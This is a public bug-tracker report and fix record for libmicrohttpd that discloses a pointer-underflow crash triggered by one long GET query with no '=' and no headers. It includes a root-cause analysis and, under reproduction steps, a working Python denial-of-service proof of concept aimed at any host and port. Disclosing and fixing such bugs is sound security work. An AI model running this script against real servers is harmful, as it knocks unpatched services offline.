View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0011679 | libmicrohttpd | other | public | 2026-07-27 10:50 | 2026-07-28 23:42 |
| Reporter | aramosf | Assigned To | Christian Grothoff | ||
| Priority | high | Severity | crash | Reproducibility | always |
| Status | closed | Resolution | fixed | ||
| Product Version | Git master | ||||
| Target Version | Git master | Fixed in Version | 1.0.7 | ||
| Summary | 0011679: connection.c: read-buffer shift-back underflow — unauthenticated DoS (default config) | ||||
| Description | Severity: High — unauthenticated remote denial of service, kills the daemon Class: CWE-787 (Out-of-bounds Write) via pointer-subtraction underflow Status: reproduced on gcc and clang at -O2 -DNDEBUG -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIE -pie; SUMMARY ------- A single unauthenticated GET request kills the daemon. It requires no application cooperation and no non-default options. The polling thread that dies serves every connection, so the whole process goes down. REPRODUCER ---------- One request against a plain default MHD_start_daemon(): GET /?AAAA…A HTTP/1.1\r\n\r\n with roughly 20000 'A's, NO '=' anywhere in the query string, and NO header lines (both conditions matter — see below). Observed: SIGSEGV in the MHD worker thread. Under AddressSanitizer: SEGV on unknown address 0x000000000001 (WRITE) #2 get_req_headers connection.c:6669 On Windows x86-64 (MinGW-w64): "page fault on write access to 0x0000000000000001 in 64-bit code", with rax = 0x1. ROOT CAUSE ---------- connection.c:6649-6674, in get_req_headers(), the read-buffer "shift back": if (NULL != c->rq.headers_received_tail) last_elmnt_end = c->rq.headers_received_tail->value + c->rq.headers_received_tail->value_size; else last_elmnt_end = c->rq.version + HTTP_VER_LEN; mhd_assert ((last_elmnt_end + 1) < c->read_buffer); /* compiled out */ shift_back_size = (size_t) (c->read_buffer - (last_elmnt_end + 1)); if (0 != c->read_buffer_offset) memmove (c->read_buffer - shift_back_size, c->read_buffer, c->read_buffer_offset); c->read_buffer -= shift_back_size; c->read_buffer_size += shift_back_size; GET query arguments are stored in the SAME rq.headers_received list as HTTP headers, and MHD_parse_arguments_() (internal.c:198-202) stores a trailing argument that has no '=' with value == NULL and value_size == 0: /* last argument, without '=' */ if (MHD_NO == cb (cls, args, key_len, NULL, 0, kind)) So last_elmnt_end == NULL, and: * shift_back_size = read_buffer - 1 (a ~47-bit value) * the memmove destination becomes (char *) 1 * afterwards read_buffer == (char *) 1 and read_buffer_size ≈ 2^47 The debug assertion (last_elmnt_end + 1) < c->read_buffer PASSES for NULL, so --enable-asserts builds do not catch it either. Two attacker requirements are baked into the reproducer: * no '=' in the query -> the trailing argument is stored with value = NULL * no header lines -> the NULL-valued GET argument is still headers_received_tail when get_req_headers() runs * long request line -> the shift-back is gated on MHD_BUF_INC_SIZE > c->read_buffer_size WHY IT CANNOT BE TURNED INTO A CONTROLLED WRITE (for severity triage) -------------------------------------------------------------------- The destination algebra cancels the underflow exactly: dest = read_buffer - shift_back_size = last_elmnt_end + 1 = tail->value + tail->value_size + 1 Every entry that can be headers_received_tail at that instant points BELOW read_buffer, except the NULL case, which yields the constant (char *) 1. There is no attacker-chosen component, so this is a deterministic DoS, not a control-flow primitive. Version note: tested against 1.0.6 only. I have not bisected which release introduced it. | ||||
| Steps To Reproduce | #!/usr/bin/env python3 """libmicrohttpd 1.0.6 - #1 read-buffer shift-back underflow. Default MHD_start_daemon(), one unauthenticated request, daemon dies. usage: poc1_shiftback.py <host> <port>""" import socket, sys h, p = sys.argv[1], int(sys.argv[2]) s = socket.create_connection((h, p), 5); s.settimeout(5) s.sendall(b"GET /?" + b"A" * 20000 + b" HTTP/1.1\r\n\r\n") try: print("reply:", s.recv(200) or b"(connection closed, no reply)") except Exception as e: print("reply:", e) s.close() try: socket.create_connection((h, p), 3).close(); print("server: STILL UP") except Exception: print("server: DOWN") | ||||
| Tags | No tags attached. | ||||
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2026-07-27 10:50 | aramosf | New Issue | |
| 2026-07-27 18:21 | Christian Grothoff | Assigned To | => Christian Grothoff |
| 2026-07-27 18:21 | Christian Grothoff | Status | new => resolved |
| 2026-07-27 18:21 | Christian Grothoff | Resolution | open => fixed |
| 2026-07-27 18:21 | Christian Grothoff | Fixed in Version | => 1.0.7 |
| 2026-07-28 23:42 | Christian Grothoff | Product Version | => Git master |
| 2026-07-28 23:42 | Christian Grothoff | Target Version | => Git master |
| 2026-07-28 23:42 | Christian Grothoff | View Status | private => public |
| 2026-07-28 23:42 | Christian Grothoff | Status | resolved => closed |